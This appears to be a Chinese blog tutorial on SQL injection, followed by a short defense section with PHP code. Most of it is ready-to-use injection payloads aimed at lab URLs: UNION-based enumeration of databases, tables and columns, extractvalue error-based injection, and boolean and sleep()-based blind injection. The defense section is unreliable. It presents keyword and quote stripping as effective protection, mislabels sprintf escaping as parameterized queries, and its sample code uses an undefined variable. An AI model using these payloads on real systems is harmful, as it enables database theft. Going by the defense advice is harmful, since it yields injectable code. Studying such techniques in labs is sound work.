SQL注入
sql注入
sql 注入原理
针对 SQL 的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为,其成因可以归结为以下两个原因叠加造成的:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
2、未对用户可控参数进行足够的过滤,便便将参数内容拼接到 SQL 语句中。
可能存在的位置
根据 SQL 注入漏洞的原理,在用户的“可控参数”中注入 SQL 语法,也就是说 Web 应用在
获取用户数据的地方,只要带入数据库查询,都有可能存在 SQL 注入的可能,这些地方通常
包括:
GET 数据
POST 数据
cookie 数据
分类
数字型 参数两边没有单双引号。
字符型 参数两边有单双引号。
判断
当 id=2-1 回显出 id=1 的值,就为数字型
sql 注入利用
联合查询
联合查询是最常用的 SQL 注入手法,有两个要求:一是字段数相同,二是数据类型相同。
联合查询可以跨库,跨表查询。
注入点的判断
?id=33 ?id=34 ?id=32 ?id=33'
判断列(字段)数
?id=1' order by 1 正常
?id=1' order by 2 正常
...
?id=1' order by n 不正常
说明当前表中有(n-1) 列。
利用回显
?id=111' union select 1,2,3
?id=1' and 1=2 union select 1,2,3
注入数据库名称
?id=111‘ union select database(),version(),3--+
表名
?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
字段名
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()
结论:能够对列数进行判断,有回显,可以考虑用联合查询。
报错注入
在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以进
行报错注入。
注意:错误信息来自于 数据库 、 中间件 还是 Web 容器 。
extractvalue()
and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+
布尔盲注
利用页面的布尔类型状态来进行判断,⽬标获取数据库名字。
计算数据库名字的长度
?id=1' and length(database())=8--+
?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s
?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e
延时注入
http://127.0.0.1/sqllib/Less-8/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
利用 sleep() 语句的延时性,以时间线作为判断条件。
计算数据库名字的长度
?id=3' and if(length(database())=8,sleep(5),1)--+
sql防御
1)使用preg_replace正则匹配输入数据中的单双引号,并替换为空,使sql语句无法从外部闭合,保证sql语句的完整新不被破坏掉
2) 使用str_replace,匹配输入数据中的一些特殊字符串,像”select,union,where等”,同时使用stristr忽略大小写,并将这些非法字符串替换为一个点,能够有效防御sql注入,同时还能防御双写等注入手法
3) 采用参数化查询,使用sprintf使用户输入的参数中的特殊符号转义为普通字符,不会被作为特殊符号打乱原有sql语句。
<?php
$mysqli = new mysqli("localhost", "root", "root", "dvwa");
$sqli = "a'b\"c";
$safeinsert = preg_replace("/[\'\"]+/", '', $sqli);
$safeinsert = str_replace("select", "", $id);
echo $safeinsert;
$name = "Jack";
$age = 30;
$gender = "male";
$sentence = sprintf("My name is %s. I am %d years old and I am a %s.", $name, $age, $gender);
echo $sentence;
$mysqli = new mysqli("localhost", "root", "root", "pikachu");
$id="111'";
$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($mysqli,$id));
echo $query;
?>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)